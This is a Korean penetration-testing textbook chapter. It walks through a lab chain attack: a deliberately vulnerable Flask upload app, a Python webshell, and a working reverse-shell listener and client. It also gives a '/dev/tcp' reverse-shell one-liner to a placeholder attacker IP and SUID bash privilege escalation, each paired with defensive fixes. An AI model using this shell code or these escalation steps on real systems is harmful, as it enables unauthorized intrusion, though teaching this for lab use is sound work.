Step 174. 종합 시나리오 2: 웹 침투 → 내부 확장 — 입구 하나가 전체를 연다

Step 174. 종합 시나리오 2: 웹 침투 → 내부 확장 — 입구 하나가 전체를 연다

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★★ | 예상 소요 시간 6시간(이틀 권장)

전제: Step 172~173(종합 시나리오 1), Step 141~142(웹쉘), Step 118(리버스 쉘), Step 125~126(권한 상승과 열거)을 마쳤습니다.

⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

  • 준비물: 파이썬(Flask), WSL 우분투, 그리고 Step 172에서 만든 침투 보고서 서식.
  • 주의: 오늘의 실습은 두 층입니다. ① 여러분이 직접 만드는 축소 랩에서 체인의 뼈대를 실측하고, ② 실제 취약 VM(VulnHub의 Mr-Robot, Kioptrix 계열)에서는 같은 순서를 출력 예시와 함께 적용합니다.

실제 침해 사고는 한 방에 일어나지 않습니다. 사다리처럼 올라갑니다 — 웹 취약점(입구) → 웹쉘(발판) → 제한된 권한의 쉘(정착) → 권한 상승(지배). Level 2에서 배운 조각들이 오늘 처음으로 하나의 줄기로 엮입니다. 각 단계에서 스스로에게 "지금 내가 뭘 할 수 있지? 다음 칸은 어디지?"라고 묻는 습관, 그것이 이 챕터의 진짜 산출물입니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • 체인 공격(chain attack)이 무엇인지 설명하고, 웹 침투에서 root까지의 다섯 단계를 나열한다
  • 업로드 취약점으로 웹쉘을 올려 명령 실행 권한을 얻는 과정을 재현한다
  • 웹쉘의 한계(비대화형)를 리버스 쉘과 pty 업그레이드로 넘는다
  • 정착 단계의 열거 명령(id, sudo -l, SUID 검색 등)을 목적에 맞게 꺼내 쓴다
  • 전체 공격 경로를 한 장의 경로도로 그려 보고서에 붙인다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 파이썬(Flask 랩) + WSL 우분투 bash (실측: Ubuntu 24.04, Python 3.12)
오늘의 명령어 curl -F(파일 업로드), id / sudo -l / find / -perm -4000 / getcap -r(정착 열거), python3 -c 'import pty;pty.spawn("/bin/bash")'(쉘 업그레이드)
필요한 개념 체인 공격, 웹쉘(Step 141~142), 리버스 쉘 vs 바인드 쉘(Step 118), SUID(Step 106), 권한 상승(Step 125~126)
오늘의 산출물 체인 경로도 1장 + 단계별 증거(출력 캡처) 모음

2-1. 체인 공격 — 사고는 사다리다

체인 공격(chain attack)은 하나의 취약점으로 끝내지 않고, 얻은 것을 다음 공격의 발판으로 삼아 연결해 나가는 방식입니다. Step 172의 시나리오 1이 "정찰 → 쉘"이라는 짧은 사슬이었다면, 오늘은 "웹 → 시스템 → root"라는 긴 사슬입니다.

실제 침해 사고 보고서를 읽어 보면 결말은 언제나 사슬입니다. "웹 방화벽 우회 → 웹쉘 업로드 → 내부망 이동 → AD 장악"처럼요. 공격자의 실력은 개별 기법이 아니라 연결 능력에서 갈립니다.

2-2. 오늘의 다섯 칸 사다리

[1] 웹 열거      gobuster, 수작업 매핑 — 입구(취약한 입력 지점) 찾기
[2] 초기 침투    업로드/SQLi/명령 인젝션 → 웹쉘 — 서버 안에 첫발
[3] 쉘 업그레이드 웹쉘 → 리버스 쉘 → pty — 일할 수 있는 환경 만들기
[4] 정착·열거    id, sudo -l, SUID, 설정 파일 — "여기서 뭐가 되지?"
[5] 권한 상승    발견한 허점으로 root — 체인의 종점

각 칸은 Level 2의 어느 스텝과 정확히 대응합니다. 오늘은 그 스텝들을 순서대로 한 번에 밟는 것이 과제입니다.

2-3. 왜 축소 랩부터 하는가

VulnHub 머신을 바로 잡아도 됩니다. 하지만 체인의 뼈대를 먼저 내가 만든 랩에서 보면 좋은 점이 있습니다 — 각 단계가 왜 성공하는지를 100% 알기 때문입니다. 타깃이 블랙박스면 "됐다/안 됐다"만 남지만, 내가 취약하게 만든 서버에서는 "여기서 검증이 없어서 된다"가 보입니다. 그래서 오늘의 따라 하기는 두 층입니다: 먼저 Flask로 입구~발판~정착을 실측하고, 실제 취약 VM에서는 같은 순서를 출력 예시로 안내합니다.

2-4. 각 단계의 질문 — 체인을 잇는 열쇠

체인이 끊어지는 지점은 기술이 아니라 질문을 멈춘 지점입니다. 단계별로 이렇게 묻는 습관을 들이세요:

  • 입구를 찾을 때: "이 입력은 서버 어디에 닿는가?" (Step 145의 매핑 습관)
  • 발판을 얻었을 때: "나는 지금 누구인가, 무엇을 읽고 쓸 수 있는가?"
  • 정착할 때: "이 상자에서 과하게 열려 있는 문은 어디인가?"
  • 막혔을 때: "아는 것 중 아직 안 써 본 것이 있나?" — Step 105의 기법 목록이 여기서 빛납니다.

3. 따라 하기

3-1. 축소 랩 만들기 — 검증 없는 사진 공유 사이트

입구가 될 취약한 웹앱을 직접 만듭니다. 작업 폴더에 step174_lab.py를 저장하세요.

입력 (step174_lab.py)

import os
import subprocess
from flask import Flask, request

app = Flask(__name__)
UP = os.path.join(os.path.dirname(os.path.abspath(__file__)), "uploads174")
os.makedirs(UP, exist_ok=True)

@app.route("/")
def index():
    return """<h1>사진 공유 사이트</h1>
    <form action="/upload" method="post" enctype="multipart/form-data">
      <input type="file" name="photo"><button>업로드</button>
    </form>
    <p>업로드된 파일: /uploads/&lt;파일명&gt;</p>"""

@app.route("/upload", methods=["POST"])
def upload():
    f = request.files["photo"]
    path = os.path.join(UP, f.filename)   # 취약점 1: 확장자 검증 없음
    f.save(path)
    return f"저장 완료: /uploads/{f.filename}"

@app.route("/uploads/<name>")
def view(name):
    path = os.path.join(UP, name)
    if name.endswith(".py"):             # 취약점 2: 업로드된 스크립트를 실행해 줌
        out = subprocess.run(["python", path], capture_output=True, text=True,
                             encoding="utf-8", errors="replace")
        return f"<pre>{out.stdout}{out.stderr}</pre>"
    return open(path, "rb").read()

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=8174)

실행

python step174_lab.py
curl -s http://127.0.0.1:8174/

(2026-09-09 실측. curl의 출력은 코드 안의 HTML 그대로 — 사진 업로드 폼이 담긴 평범한 페이지가 돌아옵니다.)

출력 읽는 법: 평범한 사진 공유 사이트입니다. 그런데 코드를 보면 두 개의 구멍이 보입니다 — 업로드할 때 확장자를 보지 않고(취약점 1), .py로 끝나는 파일은 접속하면 실행해 줍니다(취약점 2). 실제 웹쉘 사고의 뼈대가 바로 이 조합입니다. PHP 서버에서는 업로드된 .php가 실행되는 것이 같은 자리입니다 (Step 141~142).

예측: "사진만 올리는 사이트"가 왜 위험한지, 공격자 관점의 다음 행동을 한 문장으로 써 두고 3-2로 가세요.

3-2. 초기 침투 — 웹쉘 올리기

공격자가 올릴 파일 shell174.py를 만듭니다. 이 파일이 웹쉘 역할입니다 — 접속하는 순간 서버 안에서 명령을 실행하고 결과를 돌려줍니다.

입력 (shell174.py)

import os
import subprocess
print("whoami ->", subprocess.run(["whoami"], capture_output=True, text=True).stdout.strip())
print("cwd    ->", os.getcwd())
print("files  ->", os.listdir("."))

업로드와 실행

curl -s -F "photo=@shell174.py" http://127.0.0.1:8174/upload
curl -s http://127.0.0.1:8174/uploads/shell174.py
저장 완료: /uploads/shell174.py
<pre>whoami -> labpc\student
cwd    -> C:\Users\student\Documents\lab
files  -> ['step174_lab.py', 'shell174.py', 'server.log', ...]
</pre>

(2026-09-09 실측. 사용자명·경로·파일 목록은 각자 환경의 것이 뜹니다. 여기서는 개인 식별 정보를 가공해 표시했습니다.)

새 명령: curl -F "photo=@파일"-F로 multipart 업로드를 보냅니다. 브라우저가 폼을 전송하는 것과 같은 요청을 터미널에서 보내는 것입니다.

출력 읽는 법: 세 줄이 전부 "서버 안에서" 실행된 결과입니다. whoami가 돌려준 계정이 이 서버 프로세스의 권한이고, 파일 목록은 서버의 디스크입니다. 우리는 이제 서버 안에 있습니다. 실제 랩의 웹 서버라면 이 계정은 보통 www-data 같은 제한된 서비스 계정입니다 — 들어오긴 했지만 아직 아무 힘도 없는 상태. 그것이 정상입니다. 체인은 이제 시작입니다.

: "파일을 올린다"와 "코드를 실행한다" 사이의 경계가 무너지는 순간을 봤습니다. 방어자 관점에서 이 사이트의 최소 수정은 두 줄입니다 — 확장자 화이트리스트와 "업로드 폴더에서는 실행 금지". 공격을 재현할 때마다 그 역(방어)을 함께 말할 수 있어야 합니다 (Step 175에서 이 짝을 표로 정리합니다).

3-3. 쉘 업그레이드 — 웹쉘의 한계와 리버스 쉘

웹쉘은 불편합니다. 명령 하나가 요청 하나라 대화가 안 되고, cd를 해도 다음 요청에서 기억되지 않으며, 대화형 프로그램(에디터, su)은 아예 못 씁니다. 그래서 침투자의 다음 수순은 정해져 있습니다 — 리버스 쉘(reverse shell): 서버가 공격자에게 스스로 연결해 나가 쉘을 바쳐 주는 구조 (Step 118).

로컬에서 그 구조를 재현합니다. 리스너(공격자 측 대기 서버)와 역접속 클라이언트(피해 서버에서 실행된다고 가정)를 각각 파일로 저장하세요.

입력 (step174_listener.py — 공격자 측)

import socket
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", 9174))
srv.listen(1)
print("[*] 9174 포트에서 연결 대기 중...")
conn, addr = srv.accept()
print(f"[+] 연결됨! 상대: {addr}")
while True:
    cmd = input("shell> ").strip()
    if cmd in ("exit", "quit"):
        conn.send(b"exit\n"); break
    if not cmd:
        continue
    conn.send((cmd + "\n").encode())
    data = b""
    conn.settimeout(1.0)
    try:
        while True:
            chunk = conn.recv(4096)
            if not chunk: break
            data += chunk
    except socket.timeout:
        pass
    print(data.decode("utf-8", errors="replace"))
conn.close(); srv.close()
print("[*] 세션 종료")

입력 (step174_revcli.py — 피해 서버에서 실행된다고 가정)

import socket, subprocess
s = socket.socket()
s.connect(("127.0.0.1", 9174))   # 공격자 리스너에게 스스로 연결해 나감
while True:
    cmd = s.recv(4096).decode("utf-8", errors="replace").strip()
    if cmd in ("exit", "quit", ""):
        break
    out = subprocess.run(cmd, shell=True, capture_output=True, text=True,
                         encoding="utf-8", errors="replace")
    s.send((out.stdout + out.stderr).encode("utf-8", errors="replace"))
s.close()

실행 (터미널 두 개: 하나에 리스너를 먼저 띄우고, 다른 하나에서 클라이언트 실행)

[*] 9174 포트에서 연결 대기 중...
[+] 연결됨! 상대: ('127.0.0.1', 60979)
shell> whoami
labpc\student
shell> ipconfig | findstr IPv4
   IPv4 주소 . . . . . . . . . : 10.20.30.40
shell> exit
[*] 세션 종료

(2026-09-09 실측. 사용자명과 주소는 가공한 예시입니다. 한글 윈도우에서는 ipconfig 출력의 한글이 깨져 보일 수 있습니다 — 인코딩 차이이며 벽 1 참고.)

출력 읽는 법: "역"방향이라는 점이 핵심입니다. 클라이언트(피해 서버)가 공격자에게 연결해 나갔습니다. 방화벽은 보통 "들어오는 연결"만 막기 때문에, 나가는 연결을 쓰는 리버스 쉘이 실전에서 잘 통합니다. 반대로 아웃바운드까지 막힌 환경에서는 서버가 문을 여는 바인드 쉘을 씁니다 (Step 118에서 둘을 비교했습니다).

실제 랩에서는 웹쉘의 명령 실행으로 이 클라이언트 한 줄을 실행시킵니다 — bash -i >& /dev/tcp/공격자IP/포트 0>&1 같은 고전 한 줄이 그 자리입니다. 공격자 측에서는 nc -lvnp 4444로 리스너를 열어 두고, 연결이 들어오면 www-data@target:/var/www/html$ 프롬프트가 뜨는 식입니다 (출력 예시 — 실제 취약 VM에서의 장면).

3-4. pty 업그레이드 — 제대로 된 터미널 얻기

리버스 쉘도 아직 반쪽입니다. 방향키, Ctrl+C, su 같은 대화형 기능이 안 됩니다. 터미널 장치(pty)가 없는 쉘이기 때문입니다. 정착 전의 마지막 준비 동작이 이 업그레이드입니다 (출력 예시 — 대화형 상호작용이라 로컬 실측 캡처로는 의미가 없어 실제 랩 화면으로 안내합니다):

# 출력 예시 — 리버스 쉘 안에서
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@target:/var/www/html$ export TERM=xterm
www-data@target:/var/www/html$ ^Z        # Ctrl+Z로 잠시 내리고
$ stty raw -echo; fg                     # 로컬 터미널을 날것 모드로
www-data@target:/var/www/html$           # 이제 방향키·자동완성이 산다

읽는 법: pty는 가짜 터미널 장치를 만들어 주는 파이썬 모듈입니다. 이 한 줄로 "파이프에 매달린 쉘"이 "터미널에 앉은 쉘"이 됩니다. 체인 공격에서 이 단계는 사소해 보이지만, 다음 단계(정착)의 도구들이 대화형을 요구하기 때문에 사실상 필수입니다.

3-5. 정착·열거 — "여기서 뭐가 되지?"

이제 서버 안에서 제한된 권한으로 서 있습니다. 다음 칸(권한 상승)의 재료를 찾는 단계입니다. WSL 우분투에서 핵심 열거 명령을 직접 쳐 봅니다.

id
uname -a
sudo -l
uid=0(root) gid=0(root) groups=0(root)
Linux LAB 6.18.33.2-microsoft-standard-WSL2 #1 SMP ... x86_64 GNU/Linux
Matching Defaults entries for root on LAB:
    env_reset, mail_badpass, secure_path=..., use_pty
User root may run the following commands on LAB:
    (ALL : ALL) ALL

(2026-09-09 실측, Ubuntu 24.04. 이 WSL 환경은 기본 사용자가 root라 id가 root로 뜹니다 — 실제 침투 시나리오에서는 uid=33(www-data) 같은 제한된 계정이 뜨고, 그래서 이 단계가 필요한 것입니다. 호스트명은 가공했습니다.)

출력 읽는 법: 세 명령이 각각 묻는 것이 다릅니다. id는 "나는 누구인가", uname -a는 "커널이 몇 살인가"(오래된 커널은 알려진 권한 상승 취약점의 후보), sudo -l은 "비밀번호 없이 root 권한으로 쓸 수 있는 명령이 있는가" — 실전에서 가장 먼저 보는 질문입니다. 여기서 (ALL) NOPASSWD: /usr/bin/무언가가 보이면 그 명령이 사다리의 다음 칸입니다.

이어서 SUID 파일과 능력(capability)을 봅니다:

find /usr/bin /bin /sbin -perm -4000 -type f 2>/dev/null
getcap -r /usr/bin /bin /sbin 2>/dev/null
tail -3 /etc/passwd
ss -tln
/usr/bin/umount
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
---
/usr/bin/ping cap_net_raw=ep
---
polkitd:x:990:990:User for polkitd:/:/usr/sbin/nologin
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
---
State  Recv-Q Send-Q  Local Address:Port  Peer Address:Port
LISTEN 0      4096    127.0.0.53%lo:53      0.0.0.0:*
LISTEN 0      4096    127.0.0.1:33381       0.0.0.0:*

(2026-09-09 실측. 계정 목록은 일부만 발췌했습니다.)

출력 읽는 법: SUID 비트가 붙은 파일은 "실행하는 순간 소유자(주로 root)의 권한을 빌리는" 프로그램입니다 (Step 106). su, sudo, passwd는 정상적으로 필요한 것들 — 공격자의 눈에는 "목록에 없어야 할 낯선 것"이 후보입니다. ss -tln은 이 상자가 스스로 열고 있는 문(내부 전용 서비스)을 보여 줍니다. 127.0.0.1에만 묶인 포트는 밖에서 못 보지만 안에 들어온 지금은 보입니다 — 이것이 "내부 확장"의 시작점입니다.

: 열거는 목록 읽기가 아니라 후보 추리기입니다. Step 126의 linPEAS는 이 질문들을 자동으로 던지는 스크립트일 뿐, 판단은 여전히 여러분이 합니다.

3-6. 권한 상승 실험 — SUID 탐지 실측

권한 상승의 감각을 안전하게 실측해 봅니다. WSL의 /tmp에 SUID 파일을 하나 만들고(실험 후 삭제), 공격자의 검색 명령이 그것을 잡아내는지 봅니다.

mkdir -p /tmp/s174
cp /bin/bash /tmp/s174/helper174
chmod 4755 /tmp/s174/helper174
ls -l /tmp/s174/helper174
find /tmp -perm -4000 -type f 2>/dev/null
-rwsr-xr-x 1 root root 1446024 Sep  9 16:56 /tmp/s174/helper174
/tmp/s174/helper174

(2026-09-09 실측. 실험 직후 파일은 삭제했습니다.)

출력 읽는 법: ls -l 맨 앞의 rws — 읽기/쓰기/실행 자리에 s가 박혔습니다. 이 파일을 실행하면 프로세스는 root의 권한을 빌립니다. 이 파일이 /bin/bash의 사본임을 눈치챘다면, 실제 취약 VM에서 이런 파일을 발견한 공격자의 다음 명령이 무엇인지도 짐작됩니다 (출력 예시):

# 출력 예시 — 실제 랩 VM에서 일반 계정이 SUID bash 사본을 발견했을 때
$ find / -perm -4000 -type f 2>/dev/null
...
/usr/local/bin/backup-helper
$ /usr/local/bin/backup-helper -p
backup-helper-5.1# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

읽는 법: -p(privileged)는 bash에게 "권한을 내려놓지 마"라는 옵션입니다. SUID bash에 이 옵션을 주면 쉘이 root로 뜹니다. 실전에서는 이런 명령-옵션 조합을 GTFOBins 목록(SUID로 설정되면 위험한 정상 명령들의 모음집)에서 찾습니다.

: 여기까지가 체인의 종점입니다. 업로드 구멍 하나(입구)가 웹쉘(발판)이 되고, 쉘(정착)이 열거를 낳고, 열거가 찾아낸 허점 하나가 root(지배)가 됐습니다. 어느 한 칸도 대단한 신기술이 아니라 Level 2에서 배운 것들입니다. 그것이 이 챕터의 결론입니다.

3-7. 체인 경로도 그리기 — 오늘의 최종 산출물

오늘 밟은 길을 한 장의 그림으로 정리합니다. 아래는 축소 랩 실측판의 예시입니다 — 여러분 것은 각자의 환경(또는 공략한 VM)으로 채우세요.

[입구]   POST /upload — 확장자 무검증 → shell174.py 저장
   ↓
[발판]   GET /uploads/shell174.py — 서버 안에서 whoami/ls 실행됨 (웹쉘)
   ↓
[쉘]     step174_revcli.py 실행 → 127.0.0.1:9174 리스너로 역접속 (리버스 쉘)
   ↓      (+ pty 업그레이드: python3 -c 'import pty;pty.spawn("/bin/bash")')
[정착]   id / sudo -l / find -perm -4000 / getcap / ss -tln — 후보 추리기
   ↓
[지배]   SUID bash 사본 발견 → -p 옵션으로 root 쉘 (체인 종점)

읽는 법: 각 화살표 옆에는 반드시 "왜 이 칸에서 다음 칸으로 갈 수 있었는가"의 근거 한 줄을 적습니다. "검증이 없어서", "권한이 과해서", "비밀번호가 설정 파일에 평문으로 있어서". 이 근거들이 모이면 그것이 곧 방어자에게 전할 수정 목록입니다 — 체인 경로도는 공격 보고서인 동시에 방어 처방전입니다. 실제 VM 공략 시에는 각 단계의 증거(명령과 출력 캡처)를 경로도의 각 칸에 붙이세요. Step 173의 보고서 서식을 그대로 쓰면 됩니다.


4. 미션과 연습문제

미션 — 체인 경로도 1장 완성하기

아래 둘 중 하나를 골라 경로도를 완성하세요.

A. 축소 랩판: 오늘 따라 하기의 다섯 칸을 각자 환경의 실제 출력으로 채운 경로도. 각 칸에 ① 사용한 명령 또는 요청, ② 성공의 근거 한 줄, ③ 방어자의 수정 한 줄을 붙입니다.

B. 실전판: VulnHub에서 웹 취약점이 입구인 머신(Mr-Robot, Kioptrix 계열 등 Easy~Medium) 한 대를 골라, 오늘의 다섯 칸 순서로 공략한 뒤 경로도를 그립니다. 웹 열거부터 시작해 각 단계의 증거 출력을 캡처해 붙입니다.

어느 쪽이든 마지막에 답하세요: "이 체인에서 가장 싸게 끊을 수 있는 고리는 어디이며, 어떻게 끊는가?"

연습문제

문제 1. 웹쉘로 명령 실행에 성공했는데 계정이 www-data입니다. "들어왔으니 다 된 것 아닌가요?" — 왜 아닌지, 이 계정이 못 하는 것 두 가지를 들어 설명하세요.

문제 2. 리버스 쉘이 안 걸릴 때 의심할 것과, 그때 쓰는 대안 쉘은 무엇인가요? 방화벽의 기본 정책 방향과 함께 설명하세요.

문제 3. find / -perm -4000 -type f가 찾는 것은 무엇이며, 왜 권한 상승의 후보가 되나요? -4000이 의미하는 비트의 이름도 쓰세요.

문제 4. 3-1 랩의 두 취약점을 막는 최소 수정 두 줄을 쓰세요. 각 수정이 체인의 어느 고리를 끊는지도 함께.


5. 모범 답안과 완료 기준

미션 모범 답안

축소 랩판 경로도의 예 (3-7의 그림을 확장한 형태):

[입구] curl -F "photo=@shell174.py" /upload
       근거: 확장자 검증 부재 / 방어: 화이트리스트 확장자만 허용
[발판] GET /uploads/shell174.py → whoami, 파일 목록 획득
       근거: 업로드 폴더에서 스크립트 실행됨 / 방어: 업로드 폴더 실행 권한 제거
[쉘]   revcli 실행 → 리스너로 역접속
       근거: 나가는 연결 무제한 / 방어: 웹 서버의 아웃바운드 제한
[정착] sudo -l, find -perm -4000, ss -tln
       근거: 최소 권한 원칙 미적용 / 방어: SUID 최소화·감사, 내부 포트 인증
[지배] SUID bash -p → root
       근거: 불필요한 SUID 파일 존재 / 방어: 해당 비트 제거(chmod u-s)

"가장 싸게 끊는 고리"의 모범 답: [입구]입니다. 확장자 화이트리스트 한 줄과 업로드 폴더 실행 금지 한 줄 — 두 줄의 설정이 체인 전체를 무산시킵니다. 뒤쪽 고리(권한 상승 등)를 막는 것은 비용이 훨씬 크고, 그래서 방어는 언제나 앞쪽 고리부터가 원칙입니다. 다만 심층 방어(defense in depth) 관점에서 모든 고리에 각각의 방어가 있어야 한다는 것도 함께 적을 수 있으면 만점입니다.

실전판 검증법: ① 다섯 칸 각각에 증거 캡처가 붙어 있는가, ② 화살표마다 근거가 있는가, ③ "막힌 지점과 우회"가 기록됐는가. 완벽한 성공보다 정직한 기록이 점수가 높습니다.

연습문제 해답

문제 1 해답. www-data는 웹 서버 프로세스용 제한 계정입니다. 못 하는 것의 예: ① 다른 사용자의 파일 읽기/쓰기(권한 부족), ② 시스템 설정 변경·패키지 설치·새 포트 개방 같은 관리자 작업. 그래서 침투 성공은 "발판"일 뿐이고, 공격자는 반드시 다음 단계(권한 상승)를 노립니다. 방어자도 이 사실을 알기에, 웹 계정을 최소 권한으로 묶어 두는 것이 핵심 방어선입니다.

문제 2 해답. 먼저 의심할 것은 아웃바운드(나가는 연결) 차단입니다. 방화벽은 기본적으로 들어오는 연결은 막고 나가는 연결은 허용하는 경우가 많아 리버스 쉘이 통하지만, 잘 관리된 서버는 웹 서버의 나가는 연결도 제한합니다. 그때의 대안은 바인드 쉘 — 서버가 포트를 열고 기다리고 공격자가 접속하는 구조입니다 (Step 118). 단 이번에는 인바운드가 막혀 있으면 역으로 안 되므로, 두 방향을 번갈아 시도하는 것이 실전의 순서입니다.

문제 3 해답. SUID(Set User ID) 비트가 붙은 파일을 찾습니다. 이 비트가 붙은 프로그램은 실행하는 순간 파일 소유자(보통 root)의 권한으로 동작합니다. 그래서 목록에 "있어야 할 것(su, sudo, passwd)"이 아닌 낯선 파일이 보이면, 그것을 실행하거나 오용해 root 권한을 얻을 가능성이 생깁니다 — 권한 상승의 대표 후보입니다 (Step 106, 125).

문제 4 해답. ① 업로드 시 확장자 화이트리스트 검사(예: .jpg, .png만 허용) — [입구] 고리를 끊어 스크립트가 서버에 올라가지 못하게 합니다. ② 업로드 폴더의 파일을 절대 실행하지 않기(정적 파일로만 서빙) — 설령 올라와도 [발판] 고리가 끊깁니다. 둘은 각각 독립적으로 체인을 끊으므로, 둘 다 적용하는 것이 심층 방어입니다.

완료 기준 체크리스트

  • [ ] 체인 공격의 다섯 단계(열거→초기 침투→쉘 업그레이드→정착→권한 상승)를 순서대로 설명할 수 있다
  • [ ] 축소 랩에서 웹쉘 업로드→명령 실행을 직접 재현했다
  • [ ] 리버스 쉘 리스너/클라이언트를 로컬에서 연결해 명령을 주고받았다
  • [ ] id, sudo -l, find -perm -4000, getcap, ss -tln 각각이 무엇을 묻는 명령인지 안다
  • [ ] pty 업그레이드 한 줄의 용도를 설명할 수 있다
  • [ ] SUID 파일 탐지 실험을 했고, 왜 권한 상승 후보인지 설명할 수 있다
  • [ ] 미션: 다섯 칸 경로도를 완성하고 "가장 싸게 끊는 고리"에 답했다

6. 흔한 실수와 해결

벽 1. 업로드한 스크립트 실행 시 결과가 비거나 UnicodeDecodeError가 난다

증상: 웹쉘을 실행하니 <pre>None</pre>처럼 결과가 비어 있고, 서버 로그에 이런 오류가 찍힙니다 (2026-09-09 실측):

UnicodeDecodeError: 'cp949' codec can't decode byte 0xec in position 6248: illegal multibyte sequence

원인: 한글 윈도우에서 파이썬 subprocesstext=True는 기본 인코딩(cp949)으로 출력을 해독합니다. 실행 결과에 UTF-8 한글(파일명 등)이 섞이면 해독이 깨집니다.
해결: subprocess.run(..., text=True, encoding="utf-8", errors="replace")처럼 인코딩을 명시하세요 (3-1 코드에 이미 반영돼 있습니다). 이 책을 쓰면서 실제로 만난 오류이기도 합니다 — 파이썬 인코딩 문제는 실습 환경에서 가장 자주 만나는 벽입니다.

벽 2. 랩 서버를 고쳤는데 동작이 그대로다

증상: 코드를 수정했는데 결과가 바뀌지 않습니다.
원인: 이전에 띄운 서버 프로세스가 포트를 잡고 계속 살아 있습니다. 이 챕터를 실측하는 동안에도 8174 포트를 잡은 프로세스가 두 개라 새 서버가 뜨지 못한 일이 실제로 있었습니다 (netstat -ano | findstr 8174로 LISTENING 두 줄 확인).
해결: netstat -ano | findstr 8174로 PID를 찾아 taskkill /PID 번호 /F로 종료한 뒤 다시 띄우세요. 또는 Flask를 debug=True로 띄우면 코드 변경 시 자동 재시작됩니다.

벽 3. 리버스 쉘이 안 걸린다

증상: 리스너는 기다리는데 연결이 안 옵니다.
원인: 순서 거꾸로(클라이언트를 먼저 실행), 포트 불일치, 또는 방화벽의 아웃바운드 차단입니다.
해결: ① 리스너를 먼저 띄웠는지, ② 양쪽 포트 번호가 같은지(9174) 확인. 그래도 안 되면 그 환경은 나가는 연결을 막는 것입니다 — 바인드 쉘로 방향을 바꾸세요 (문제 2의 논리 그대로입니다).

벽 4. root가 아니라 좌절한다

증상: 웹쉘을 얻었는데 www-data라 할 수 있는 게 없어 보입니다.
원인: 정상입니다. 그것이 실제 침투의 일상이고, 그래서 체인이 존재합니다.
해결: "지금 내가 뭘 할 수 있지?"로 질문을 바꾸세요. 읽을 수 있는 파일, 실행 가능한 명령(sudo -l), 열린 내부 포트(ss -tln) — 할 수 있는 것의 목록이 다음 칸의 재료입니다. 막힘은 실패가 아니라 열거의 시작 신호입니다.


7. 정리

오늘의 개념

개념 한 줄 설명
체인 공격(chain attack) 얻은 것을 다음 공격의 발판으로 삼아 연결하는 방식 — 실제 침해는 언제나 사슬
다섯 칸 사다리 웹 열거 → 초기 침투 → 쉘 업그레이드 → 정착·열거 → 권한 상승
웹쉘의 한계 비대화형·상태 없음 — 그래서 리버스 쉘로, pty로 업그레이드한다
정착의 질문 "지금 내가 뭘 할 수 있지?" — 할 수 있는 것의 목록이 다음 칸의 재료
체인 경로도 각 화살표에 성공 근거를 적은 한 장 — 공격 보고서이자 방어 처방전

오늘의 명령어

명령 하는 일
curl -F "photo=@파일" URL/upload multipart 파일 업로드 요청 보내기
python3 -c 'import pty;pty.spawn("/bin/bash")' 비대화형 쉘을 터미널 쉘로 업그레이드
id / uname -a 나는 누구인가 / 커널은 몇 살인가
sudo -l 비밀번호 없이 root 권한으로 쓸 수 있는 명령 조회
find / -perm -4000 -type f 2>/dev/null SUID 파일(권한 상승 후보) 전수 조사
getcap -r /경로 capability가 부여된 파일 조회
ss -tln 이 상자가 열고 있는 문(내부 전용 서비스) 확인

명령어보다 중요한 감각

오늘의 시나리오에서 새로 배운 기술은 하나도 없었습니다. 전부 Level 2 어딘가에서 배운 것이었고, 달라진 것은 연결뿐입니다. 공격자의 실력이 개별 기법의 화려함이 아니라 "다음 칸을 찾는 질문을 멈추지 않는 것"이라는 사실 — 이것이 이 챕터의 핵심입니다.

그리고 체인은 뒤집어 보면 방어의 지도입니다. 다섯 고리마다 끊는 비용이 다르고, 앞쪽 고리일수록 쌉니다. 입구의 검증 두 줄이 전체를 무산시킨다는 것을 손으로 확인했으니, 여러분은 이제 공격자의 사다리와 방어자의 울타리를 같은 그림으로 봅니다.


전부 체크되면 Step 174 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.